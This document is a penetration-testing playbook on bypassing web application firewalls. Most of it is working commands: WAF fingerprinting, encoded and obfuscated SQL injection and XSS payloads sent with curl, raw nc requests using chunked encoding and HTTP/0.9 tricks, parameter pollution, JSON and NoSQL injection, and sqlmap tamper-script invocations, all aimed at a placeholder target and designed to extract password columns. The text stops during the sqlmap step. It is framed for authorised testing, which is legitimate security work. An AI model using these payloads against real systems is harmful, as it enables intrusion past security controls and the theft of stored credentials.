Performing Web Application Firewall Bypass

When to Use

• When confirmed vulnerabilities are blocked by WAF signature-based detection
• During penetration testing where WAF prevents exploitation of known issues
• When evaluating WAF rule effectiveness against evasion techniques
• During red team engagements requiring bypass of perimeter security controls
• When testing custom WAF rules for completeness and bypass resistance

Prerequisites

• Burp Suite Professional with SQLMap integration
• wafw00f for WAF fingerprinting and identification
• SQLMap with tamper scripts for automated WAF bypass
• Understanding of WAF detection mechanisms (signature, regex, behavioral)
• Collection of encoding and obfuscation techniques per attack type
• Knowledge of HTTP protocol nuances exploitable for evasion

Workflow

Step 1 — Identify and Fingerprint the WAF

# Detect WAF using wafw00f
wafw00f http://target.com

# Manual WAF detection via response headers
curl -sI http://target.com | grep -iE "x-cdn|server|x-powered-by|x-sucuri|cf-ray|x-akamai"

# Trigger WAF with known bad payload and analyze response
curl "http://target.com/page?id=1' OR 1=1--" -v
# Look for: 403 Forbidden, custom block page, CAPTCHA challenge

# Common WAF indicators:
# Cloudflare: cf-ray header, __cfduid cookie
# AWS WAF: x-amzn-requestid
# ModSecurity: Mod_Security or OWASP CRS error messages
# Akamai: AkamaiGHost header
# Imperva: incap_ses cookie, visid_incap cookie

Step 2 — Bypass with Encoding and Obfuscation

# URL encoding bypass
curl "http://target.com/page?id=1%27%20OR%201%3D1--"

# Double URL encoding
curl "http://target.com/page?id=1%2527%2520OR%25201%253D1--"

# Unicode encoding
curl "http://target.com/page?id=1%u0027%u0020OR%u00201%u003D1--"

# HTML entity encoding in body
curl -X POST http://target.com/search \
  -d "q=<script>alert&#40;1&#41;</script>"

# Mixed case SQL keywords
curl "http://target.com/page?id=1' UnIoN SeLeCt password FrOm users--"

# Inline comments between SQL keywords
curl "http://target.com/page?id=1'/*!UNION*//*!SELECT*/password/*!FROM*/users--"

# MySQL version-specific comments
curl "http://target.com/page?id=1' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--"

# Null bytes
curl "http://target.com/page?id=1'%00 OR 1=1--"

# Tab and newline substitution for spaces
curl "http://target.com/page?id=1'%09UNION%0ASELECT%0D1,2,3--"

Step 3 — Bypass with HTTP Method and Protocol Tricks

# Change HTTP method (WAFs may only inspect GET/POST)
curl -X PUT "http://target.com/page?id=1' OR 1=1--"
curl -X PATCH "http://target.com/page" -d "id=1' OR 1=1--"

# Use HTTP/0.9 (no headers)
printf "GET /page?id=1' OR 1=1-- \r\n" | nc target.com 80

# Content-Type manipulation
curl -X POST http://target.com/page \
  -H "Content-Type: application/x-www-form-urlencoded; charset=ibm037" \
  -d "id=1' OR 1=1--"

# Multipart form data (may bypass body inspection)
curl -X POST http://target.com/page \
  -F "id=1' OR 1=1--"

# Chunked Transfer-Encoding
printf "POST /page HTTP/1.1\r\nHost: target.com\r\nTransfer-Encoding: chunked\r\n\r\n4\r\nid=1\r\n11\r\n' OR 1=1--\r\n0\r\n\r\n" | nc target.com 80

# Parameter in unusual locations
curl http://target.com/page -H "X-Forwarded-For: 1' OR 1=1--"
curl http://target.com/page -H "Referer: http://target.com/page?id=1' OR 1=1--"

Step 4 — Bypass with Payload Splitting and HPP

# HTTP Parameter Pollution
curl "http://target.com/page?id=1' UNION&id=SELECT password FROM users--"

# Split payload across parameters
curl "http://target.com/page?id=1'/*&q=*/UNION SELECT 1,2,3--"

# JSON-based SQLi (many WAFs miss JSON payloads)
curl -X POST http://target.com/api/query \
  -H "Content-Type: application/json" \
  -d '{"id": "1 AND 1=1 UNION SELECT password FROM users"}'

# JSON SQL injection with operators
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"query": {"$gt":"", "$where":"1==1"}}'

# XML-wrapped payloads
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/xml" \
  -d "<data><id>1' UNION SELECT password FROM users--</id></data>"

Step 5 — Use SQLMap Tamper Scripts

# SQLMap with built-in tamper scripts
sqlmap -u "http://target.com/page?id=1" --tamper=between,randomcase,space2comment

# Common tamper scripts for WAF bypass:
sqlmap -u "http://target.com/page?id=1" --tamper=charunicodeencode
sqlmap -u "http://target.com/page?id=1" --tamper=space2mssqlhash

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